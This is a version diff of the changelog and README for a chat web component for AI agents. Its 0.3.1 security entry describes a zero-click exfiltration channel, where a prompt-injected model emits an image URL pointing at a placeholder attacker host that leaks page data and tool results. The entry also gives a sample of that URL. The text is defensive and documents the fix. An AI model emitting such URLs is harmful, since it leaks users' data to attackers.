@artooi/ag-ui-web-component 0.2.2 → 0.3.1

package/CHANGELOG.md

@@ -7,6 +7,60 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+## [0.3.1] — 2026-06-10
+
+### Security
+
+- **`<img>` is stripped from rendered assistant markdown by default.** A
+  model-controlled `<img src="https://attacker/?d=...">` is fetched by the
+  browser with no user interaction, which made the sanitizer allowlist a
+  zero-click exfiltration channel for prompt-injected page data (page maps,
+  state hooks, tool results). Hosts that trust their content can opt back in
+  via the new `allowImages` element property (or `renderMarkdown(text,
+  { allowImages: true })`); when enabled, DOMPurify still strips event
+  handlers and `javascript:` URLs as before.
+
+### Fixed
+
+- **Rotated headers now reach the agent stream.** `HttpAgent` is built once
+  per conversation with the headers baked into its constructor, so a rotated
+  token (CSRF, short-lived JWT) never reached the agent endpoint and long
+  sessions 401'd mid-conversation — even though the skills/tools catalog
+  fetches already re-read `headers` per request. The element now passes a
+  live `getHeaders` callback to the agent factory and `createHttpAgent`'s
+  fetch wrapper overlays the fresh values on every request. Custom
+  `agentFactory` implementations can read the new optional
+  `HttpAgentOptions.getHeaders` to do the same.
+- **Removed the phantom `./style.css` export.** `package.json` advertised
+  `@artooi/ag-ui-web-component/style.css` → `dist/ag-ui-web-component.bundle.css`,
+  but the build emits no CSS file (styles live as JS strings and are injected
+  into the Shadow DOM), so importing the advertised path always failed.
+- **The shared `marked` singleton is no longer mutated.** Module-scope
+  `marked.setOptions({ gfm, breaks })` clobbered a host app's `marked`
+  configuration whenever the dependency was deduped. Rendering now uses a
+  local `Marked` instance; the global keeps its defaults.
+
+### Added
+
+- **Auto-prettified tool-card labels.** When no label is found anywhere in
+  the chain (`x-summary` → `toolSummaries` → fetched `data-tools-url`
+  catalog), cards now fall back to a prettified name (`list_projects` →
+  "List projects") instead of the raw identifier. Exported as
+  `prettifyToolName`.
+
+## [0.3.0] — 2026-06-03
+
+### Added
+- **`data-tools-url` — server tool-label catalog.** On connect the element
+  fetches a JSON catalog (`[{ name, summary, description? }]`) from the URL
+  (with `headers`) and uses it to label tool-call cards for **server-side tools**
+  whose schema never reaches the browser. Pairs with django-ag-ui's `tools/`
+  endpoint, so a tool's label flows from its server-side source (drf-mcp
+  `display_name`, `@tool(summary=…)`) with no per-tool client duplication.
+  Per-card label precedence: the tool's own `x-summary` → an explicit
+  `toolSummaries` entry → the fetched catalog → the raw name. Exports the
+  `ToolCatalogEntry` type and the `parseToolCatalog` helper.
+
 ## [0.2.2] — 2026-06-02
 
 ### Added
@@ -159,7 +213,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 ### Notes
 - First release — exercising the automated npm OIDC publish pipeline end-to-end.
 
-[Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...HEAD
+[Unreleased]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.1...HEAD
+[0.3.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.3.0...v0.3.1
+[0.3.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.2...v0.3.0
 [0.2.2]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.1...v0.2.2
 [0.2.1]: https://github.com/Artui/ag-ui-web-component/compare/v0.2.0...v0.2.1
 [0.2.0]: https://github.com/Artui/ag-ui-web-component/compare/v0.1.1...v0.2.0

package/README.md

@@ -68,7 +68,6 @@ The package ships two builds (see [`package.json` exports](package.json)):
 | --- | --- | --- |
 | `@artooi/ag-ui-web-component` | ESM library build; `@ag-ui/*` stay **external** | You bundle the app yourself (Vite, webpack, esbuild) and want to dedupe `@ag-ui/*`. |
 | `@artooi/ag-ui-web-component/bundle` | ESM bundle with `@ag-ui/*` **inlined**, minified | Drop in via a single `<script type="module">` with no build step. |
-| `@artooi/ag-ui-web-component/style.css` | Extracted CSS sidecar | Rarely needed — styles are injected into the Shadow DOM at runtime. |
 
 ### The vendored-bundle story
 
@@ -151,21 +150,30 @@ That's the whole integration: an `endpoint` attribute pointing at your AG-UI ser
 | `data-slash-commands` | — | `"true"` to enable the `/`-command palette. |
 | `data-skills` | — | Inline JSON skill catalog. |
 | `data-skills-url` | — | URL of a JSON skill catalog (fetched with `headers`). |
+| `data-tools-url` | — | URL of a server tool-label catalog (`[{ name, summary, description? }]`), fetched with `headers`; labels tool-call cards for server-side tools. |
 | `collapsed` | `collapsed` | Reflected boolean; collapses the widget. Persisted per-tab in `sessionStorage`. |
 | `theme` | — | CSS-only: `light` (default) / `dark` / `auto` / `code`. |
 | `density` | — | CSS-only: `comfortable` (default) / `compact`. |
 | `placement` | — | CSS-only: `floating` (default) / `bottom-left` / `side` / `full` / `embedded`. |
 
-**Properties** (JS only, not attributes): `headers`, `autoConfirm`, `confirmPredicate`,
-`agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`, `getPageMap`,
-`autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`, `toolSummaries`,
-plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
+**Properties** (JS only, not attributes): `headers`, `allowImages`, `autoConfirm`,
+`confirmPredicate`, `agentFactory`, `getTools`, `getContext`, `routeMap`, `navigate`,
+`getPageMap`, `autoInjectPageMap`, `conversationStore`, `navigationResult`, `skillContext`,
+`toolSummaries`, plus the mirrors `endpoint` / `toolDisplay` / `collapsed`.
+
+`allowImages` (default `false`) re-enables `<img>` in rendered assistant markdown.
+It is off by default because a model-controlled image URL is fetched by the browser
+with no user interaction — a zero-click exfiltration channel for prompt-injected
+page data. Enable only when the content source is trusted.
 
 `toolSummaries` is a `Record<string, string>` mapping tool name → a friendly card
 label, used when a tool has no `x-summary` in its own schema. Built-in and client tools
 should carry `x-summary` directly; this map is the seam for **server-side tools** (drf-mcp,
 the django-ag-ui `@tool` registry), whose schema never reaches the browser — e.g.
-`chat.toolSummaries = { list_projects: "Search projects" }`.
+`chat.toolSummaries = { list_projects: "Search projects" }`. Or point
+`data-tools-url` at a server catalog endpoint (django-ag-ui's `tools/`) and the
+labels are fetched automatically — per card, `x-summary` → an explicit
+`toolSummaries` entry → the fetched catalog → the raw name.
 
 **Methods**: `registerTool`, `registerStateHook`, `setSkills`, `appendMessage`, `newChat`,
 `setCollapsed`, `toggleCollapsed`.